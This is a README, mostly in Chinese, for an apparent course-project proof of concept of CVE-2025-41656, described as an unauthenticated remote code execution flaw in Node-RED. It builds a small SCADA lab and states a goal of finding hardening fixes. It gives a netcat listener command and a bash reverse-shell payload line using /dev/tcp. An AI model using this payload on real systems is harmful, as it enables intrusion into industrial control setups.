
This repository includes the code and files needed to test and execute a PoC for CVE-2025-41656
本项目旨在模拟CVE-2025-41656——一个针对 NodeRED 的未认证远程代码执行漏洞。为此,我们创建了一个小型 SCADA 系统,包含树莓派、执行器和传感器。树莓派中运行着 NodeRED 和 OpenPLC 容器,两者通过 Modbus TCP 通信以控制执行器。此 Python 概念验证脚本用于执行 CVE-2025-41656 攻击。目标是成功构建 PoC 并找到加固系统安全的修复措施。
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234cve_2025_41656.py 中将 NODE_RED_IP 和 NODE_RED_PORT 替换为你的 NodeRED 服务的 IP 地址和端口(1880)。cve_2025_41656 中,将以下行中的 IP 地址 192.168.4.223 替换为你发起漏洞利用的机器的 IP 地址:"command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'",python3 cve_2025_41656.py